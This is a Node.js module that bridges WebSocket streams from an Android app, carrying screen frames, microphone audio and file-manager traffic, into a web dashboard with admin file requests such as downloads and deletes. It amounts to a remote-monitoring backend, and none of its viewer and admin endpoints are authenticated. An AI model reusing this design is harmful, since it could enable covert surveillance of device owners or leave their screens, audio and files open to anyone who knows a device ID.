File size: 10,650 Bytes
839aef2
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
/**

 * Raw-WebSocket compatibility bridge.

 *

 * The Android app streams and receives command wakes over plain WebSocket

 * (OkHttp), exactly as it did against the old FastAPI backend. Rewriting the

 * device to a native Socket.IO client would require an untested libwebsocket

 * migration, so instead we keep the *exact* device-side contract and bridge the

 * traffic into the new Socket.IO `/dashboard` rooms used by the web dashboard.

 *

 * Device-side endpoints (relative to https://host/api/v1):

 *   commands/ws/{deviceId}        β€” persistent wake channel (server β†’ device)

 *   screen/upload/{deviceId}      β€” device β†’ server JPEG frames

 *   screen/audio/upload/{deviceId}β€” device β†’ server: 1 text format msg, then PCM

 *   files/device/{deviceId}       β€” device ⇄ server JSON (file manager)

 *

 * Legacy admin endpoints (kept so an old dashboard still works alongside the

 * new Socket.IO one):

 *   screen/view/{deviceId}

 *   screen/audio/view/{deviceId}

 *   files/admin/{deviceId}

 *

 * Each device frame is fanned out to:

 *   β€’ any legacy WS viewers, and

 *   β€’ the matching Socket.IO `/dashboard` room (screen:<id> / audio:<id> /

 *     files:<id>) so the React dashboard receives it via socket.io-client.

 */

import { WebSocketServer } from 'ws';
import {
  setExternalWake,
  setExternalDeviceOnline,
  setExternalFileRequest,
  setExternalStreamStatus,
} from './realtime.js';

// deviceId β†’ Set<ws> of open command sockets (Android app).
const commandSockets = new Map();
// deviceId β†’ ws of the active screen / audio / file producer.
const screenProducers = new Map();
const audioProducers = new Map();
const fileProducers = new Map();
// deviceId β†’ Set<ws> legacy viewers.
const screenViewers = new Map();
const audioViewers = new Map();
const fileAdmins = new Map();
// deviceId β†’ last audio format JSON string.
const audioFormat = new Map();

function addTo(map, key, ws) {
  let set = map.get(key);
  if (!set) { set = new Set(); map.set(key, set); }
  set.add(ws);
}
function removeFrom(map, key, ws) {
  const set = map.get(key);
  if (set) { set.delete(ws); if (set.size === 0) map.delete(key); }
}
function broadcast(map, key, data, isBinary) {
  const set = map.get(key);
  if (!set) return;
  for (const ws of set) {
    if (ws.readyState === ws.OPEN) {
      try { ws.send(data, { binary: isBinary }); } catch { /* ignore */ }
    }
  }
}

let ioRef = null;
function dash() { return ioRef ? ioRef.of('/dashboard') : null; }

export function initStreamBridge(httpServer, io) {
  ioRef = io;

  const wss = new WebSocketServer({ noServer: true });

  httpServer.on('upgrade', (req, socket, head) => {
    let pathname;
    try {
      pathname = new URL(req.url, 'http://localhost').pathname;
    } catch {
      socket.destroy();
      return;
    }

    // Let Socket.IO handle its own upgrade path.
    if (pathname.startsWith('/socket.io')) return;

    const route = matchRoute(pathname);
    if (!route) {
      // Not one of our WS endpoints β€” close politely.
      socket.destroy();
      return;
    }

    wss.handleUpgrade(req, socket, head, (ws) => {
      handleConnection(ws, route);
    });
  });

  // Wire realtime.js hooks so Socket.IO-driven actions reach WS devices.
  setExternalWake((deviceId) => wakeDeviceWs(deviceId));
  setExternalDeviceOnline((deviceId) => isDeviceOnlineWs(deviceId));
  setExternalFileRequest((deviceId, text) => sendFileRequestToDevice(deviceId, text));
  setExternalStreamStatus((deviceId) => ({
    video_streaming: screenProducers.has(deviceId),
    audio_streaming: audioProducers.has(deviceId),
  }));

  console.log('WebSocket bridge initialized (command/screen/audio/files)');
  return wss;
}

const ROUTES = [
  { re: /\/commands\/ws\/([^/]+)\/?$/, type: 'command' },
  { re: /\/screen\/upload\/([^/]+)\/?$/, type: 'screen-upload' },
  { re: /\/screen\/view\/([^/]+)\/?$/, type: 'screen-view' },
  { re: /\/screen\/audio\/upload\/([^/]+)\/?$/, type: 'audio-upload' },
  { re: /\/screen\/audio\/view\/([^/]+)\/?$/, type: 'audio-view' },
  { re: /\/files\/device\/([^/]+)\/?$/, type: 'file-device' },
  { re: /\/files\/admin\/([^/]+)\/?$/, type: 'file-admin' },
];

function matchRoute(pathname) {
  for (const r of ROUTES) {
    const m = pathname.match(r.re);
    if (m) return { type: r.type, deviceId: decodeURIComponent(m[1]) };
  }
  return null;
}

function handleConnection(ws, { type, deviceId }) {
  switch (type) {
    case 'command': return handleCommand(ws, deviceId);
    case 'screen-upload': return handleScreenUpload(ws, deviceId);
    case 'screen-view': return handleScreenView(ws, deviceId);
    case 'audio-upload': return handleAudioUpload(ws, deviceId);
    case 'audio-view': return handleAudioView(ws, deviceId);
    case 'file-device': return handleFileDevice(ws, deviceId);
    case 'file-admin': return handleFileAdmin(ws, deviceId);
    default: ws.close();
  }
}

// ── Command wake channel ────────────────────────────────
function handleCommand(ws, deviceId) {
  addTo(commandSockets, deviceId, ws);
  try { ws.send('{"event":"connected"}'); } catch { /* ignore */ }
  // Heartbeat keepalive.
  ws.isAlive = true;
  ws.on('pong', () => { ws.isAlive = true; });
  ws.on('message', () => { /* acks / pings β€” ignore */ });
  ws.on('close', () => removeFrom(commandSockets, deviceId, ws));
  ws.on('error', () => removeFrom(commandSockets, deviceId, ws));
}

export function wakeDeviceWs(deviceId) {
  const set = commandSockets.get(deviceId);
  if (!set || set.size === 0) return false;
  let sent = false;
  for (const ws of set) {
    if (ws.readyState === ws.OPEN) {
      try { ws.send('{"event":"command"}'); sent = true; } catch { /* ignore */ }
    }
  }
  return sent;
}

export function isDeviceOnlineWs(deviceId) {
  const set = commandSockets.get(deviceId);
  return !!(set && set.size > 0);
}

// ── Screen ──────────────────────────────────────────────
function handleScreenUpload(ws, deviceId) {
  screenProducers.set(deviceId, ws);
  const d = dash();
  if (d) d.to(`rtc:${deviceId}`).emit('publisher-online', { device_id: deviceId });
  ws.on('message', (data, isBinary) => {
    const buf = isBinary ? data : Buffer.from(data);
    broadcast(screenViewers, deviceId, buf, true);
    if (d) d.to(`screen:${deviceId}`).emit('screen-frame', buf);
  });
  const cleanup = () => {
    if (screenProducers.get(deviceId) === ws) screenProducers.delete(deviceId);
    if (d) d.to(`rtc:${deviceId}`).emit('publisher-offline', { device_id: deviceId });
  };
  ws.on('close', cleanup);
  ws.on('error', cleanup);
}

function handleScreenView(ws, deviceId) {
  addTo(screenViewers, deviceId, ws);
  ws.on('close', () => removeFrom(screenViewers, deviceId, ws));
  ws.on('error', () => removeFrom(screenViewers, deviceId, ws));
}

// ── Audio ───────────────────────────────────────────────
function handleAudioUpload(ws, deviceId) {
  audioProducers.set(deviceId, ws);
  const d = dash();
  ws.on('message', (data, isBinary) => {
    if (!isBinary) {
      // First (and any) text message is the PCM format descriptor.
      const text = Buffer.isBuffer(data) ? data.toString('utf8') : String(data);
      audioFormat.set(deviceId, text);
      broadcast(audioViewers, deviceId, text, false);
      if (d) {
        let meta = text;
        try { meta = JSON.parse(text); } catch { /* keep string */ }
        d.to(`audio:${deviceId}`).emit('audio-format', meta);
      }
      return;
    }
    const buf = Buffer.isBuffer(data) ? data : Buffer.from(data);
    broadcast(audioViewers, deviceId, buf, true);
    if (d) d.to(`audio:${deviceId}`).emit('audio-frame', buf);
  });
  const cleanup = () => {
    if (audioProducers.get(deviceId) === ws) audioProducers.delete(deviceId);
    audioFormat.delete(deviceId);
  };
  ws.on('close', cleanup);
  ws.on('error', cleanup);
}

function handleAudioView(ws, deviceId) {
  addTo(audioViewers, deviceId, ws);
  const fmt = audioFormat.get(deviceId);
  if (fmt) { try { ws.send(fmt); } catch { /* ignore */ } }
  ws.on('close', () => removeFrom(audioViewers, deviceId, ws));
  ws.on('error', () => removeFrom(audioViewers, deviceId, ws));
}

// ── File manager ────────────────────────────────────────
function handleFileDevice(ws, deviceId) {
  fileProducers.set(deviceId, ws);
  const d = dash();
  if (d) d.to(`files:${deviceId}`).emit('file-message', '{"event":"device_online"}');
  ws.on('message', (data, isBinary) => {
    const text = isBinary
      ? (Buffer.isBuffer(data) ? data.toString('utf8') : String(data))
      : (Buffer.isBuffer(data) ? data.toString('utf8') : String(data));
    broadcast(fileAdmins, deviceId, text, false);
    if (d) d.to(`files:${deviceId}`).emit('file-message', text);
  });
  const cleanup = () => {
    if (fileProducers.get(deviceId) === ws) fileProducers.delete(deviceId);
    broadcast(fileAdmins, deviceId, '{"event":"device_offline"}', false);
    if (d) d.to(`files:${deviceId}`).emit('file-message', '{"event":"device_offline"}');
  };
  ws.on('close', cleanup);
  ws.on('error', cleanup);
}

function handleFileAdmin(ws, deviceId) {
  addTo(fileAdmins, deviceId, ws);
  const online = fileProducers.has(deviceId);
  try { ws.send(online ? '{"event":"device_online"}' : '{"event":"device_offline"}'); } catch { /* ignore */ }
  // Admin β†’ device requests (listings, downloads, deletes…).
  ws.on('message', (data) => {
    const text = Buffer.isBuffer(data) ? data.toString('utf8') : String(data);
    sendFileRequestToDevice(deviceId, text);
  });
  ws.on('close', () => removeFrom(fileAdmins, deviceId, ws));
  ws.on('error', () => removeFrom(fileAdmins, deviceId, ws));
}

/** Forward a file-manager request from any admin (WS or Socket.IO) to device. */
export function sendFileRequestToDevice(deviceId, text) {
  const ws = fileProducers.get(deviceId);
  if (ws && ws.readyState === ws.OPEN) {
    try { ws.send(text); return true; } catch { /* ignore */ }
  }
  return false;
}

export default { initStreamBridge, wakeDeviceWs, isDeviceOnlineWs, sendFileRequestToDevice };